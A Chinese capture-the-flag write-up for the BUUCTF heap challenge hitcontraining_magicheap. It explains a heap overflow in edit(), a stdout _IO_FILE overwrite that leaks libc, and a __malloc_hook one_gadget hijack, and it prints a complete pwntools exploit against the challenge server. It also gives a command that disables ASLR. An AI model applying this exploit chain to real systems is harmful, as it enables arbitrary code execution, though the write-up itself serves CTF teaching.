从漏洞到Shell:堆溢出漏洞利用实战指南

从漏洞到Shell:堆溢出漏洞利用实战指南

原创 章鱼哥 白帽子社区团队 2025-02-11 01:37

关于无问社区

无问社区-官网:http://www.wwlib.cn

本文来自社区成员,章鱼哥投稿欢迎大家投稿。投稿可获得无问社区AI大模型的使用红包哦!

我们无问社区通过使用全球大量行业技术语料进行训练,截至目前
无问AI

红蓝对抗、应急响应、等保、风险评估、安全咨询等方面无论是知识面的或者是深度都有着极为出色的表现。

还可进行连续问答和图片识别问题并解答。

0x01 开篇stdout

最近在buuctf
上找到这么一道题目【
hitcontraining_magicheap

解答完感觉思路挺有意思,就来分享一下

通过
无问AI模型先给大家讲解一下什么是stdout

stdout
 是程序默认的输出流,其底层是一个 _IO_FILE
 结构体。在漏洞利用中,攻击者可以通过修改 stdout
 结构体的字段,控制程序的输出行为,从而泄露内存地址或绕过保护机制。本文中,stdout
 结构体被用作泄露 libc 地址的关键目标,是漏洞利用中的重要一环。

0x02 开始正式做题

例行检查:

除了
pie
,其他保护机制都开了。放到
IDA
中分析

漏洞分析:
菜单功能

  • 程序提供了一个菜单,允许用户进行堆块的创建、编辑和释放操作。

  • 程序没有直接的输出功能,这意味着我们需要通过其他方式泄露内存地址。

发现程序是没有输出功能的,这里我们想到了去打
stdout
结构体来
leak
出地址,

这里是有一个后门的,我设置了满足的条件发现没出
flag
,应该比赛的环境下
flag
路径是对的,但
buuctf路径是不对的,所以我们就去
get shell

flag

漏洞点在
edit()
函数中

creat_heap()
函数获取我们的大小后,在
edit()
中又再次让我们输入大小,存在堆溢出
.

接下来我们就对堆溢出进行利用
.

0x03 漏洞的利用与调试

为了调试放便,我借用了
rencvn
大佬的方法,通过命令:

echo 0 > /proc/sys/kernel/randomize_va_space 关掉地址随机化

我们的整体思路:


  1. stdout
    结构体
    leak

    libc
    地址

  2. 劫持
    malloc_hook,
    覆盖成
    one_gadget

  3. 申请触发
    one_gadget

我们先申请几个堆块看看堆布局的情况:

此时堆中布局:

通过堆溢出,改写
1
号堆块的
size
位,引起向下合并

free(2)
edit(0,0x70,'A'*0x60+p64(0)+p64(0x181))

此时:

我们在通过
free(1),
在申请出来,残留
main_arena
指针在
fastbin
中,

free(1)
add(0x100,'A')

此时堆中布局:

在次利用堆溢出,覆盖
main_arena
低地址两字节,劫持到
stdout
结构体附近

edit(1,0x120,'A'*0x100+p64(0)+p64(0x71)+'\xdd\x25')#这里没直接用stdout的低字节,而是
stdout-0x43的地址,绕过ubantu16下的堆头检查机制

接下来覆盖
stdout
即可
leak
出地址

add(0x60,'A')
payload = 'A'*0x33
payload += p64(0xfbad1800)
payload += p64(0)*3
payload += '\x00'
add(0x60,payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success(hex(leak))
libc_base = leak-0x3c5600

接下来正常劫持
malloc_hook

one_gadget
即可

malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
one = [0x45226,0x4527a,0xf03a4,0xf1247]
one1 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[3]
add(0x60,'ccccc')
free(3)
edit(2,0x80,'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))
choice(1)
io.recvuntil(':')
io.sendline('20')
io.interactive()

完整
exp:

from pwn import *
elf = ELF('./magicheap')
io = remote('node4.buuoj.cn',27557)
#io = process('./magicheap')
#libc = elf.libc
libc = ELF('./libc-2.23.so')
context.log_level='debug'
def choice(c):
io.recvuntil(':')
io.sendline(str(c))
def add(size,content):
choice(1)
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.send(content)
def edit(index,size,content):
choice(2)
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.send(content)
def free(index):
choice(3)
io.recvuntil(':')
io.sendline(str(index))
add(0x60,'AAA')
add(0x100,'AAA')
add(0x60,'AAA')
add(0x60,'AAA')
free(2)
edit(0,0x70,'A'*0x60+p64(0)+p64(0x181))
free(1)
add(0x100,'A')
edit(1,0x120,'A'*0x100+p64(0)+p64(0x71)+'\xdd\x25')
gdb.attach(io)
add(0x60,'A')
payload = 'A'*0x33
payload += p64(0xfbad1800)
payload += p64(0)*3
payload += '\x00'
add(0x60,payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success(hex(leak))
libc_base = leak-0x3c5600
success(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
#one = [0x45226,0x4527a,0xf03a4,0xf1247]
one1 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one1[3]
add(0x60,'ccccc')
free(3)
edit(2,0x80,'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))
choice(1)
io.recvuntil(':')
io.sendline('20')
#gdb.attach(io)
io.interactive()

0x04 总结

stdout 是程序默认的输出流,其底层是一个 _IO_FILE 结构体。在漏洞利用中,攻击者可以通过修改 stdout 结构体的字段,控制程序的输出行为,从而泄露内存地址或绕过保护机制。本文中,stdout 结构体被用作泄露 libc 地址的关键目标,是漏洞利用中的重要一环。

最后,欢迎点赞评论留下自己的看法,会随机抽取五名幸运儿赠送,无问社区社区红包!

欢迎大家前来使用无问AI大模型

VBS后门的免杀方式的研究

应急响应沟通准备与技术梳理(Windows篇)

向日葵RCEbypass

总结|教育行业渗透打点

ThinkCMF框架任意内容包含漏洞的讲解

加入粉丝群可在公众号页面联系我们进群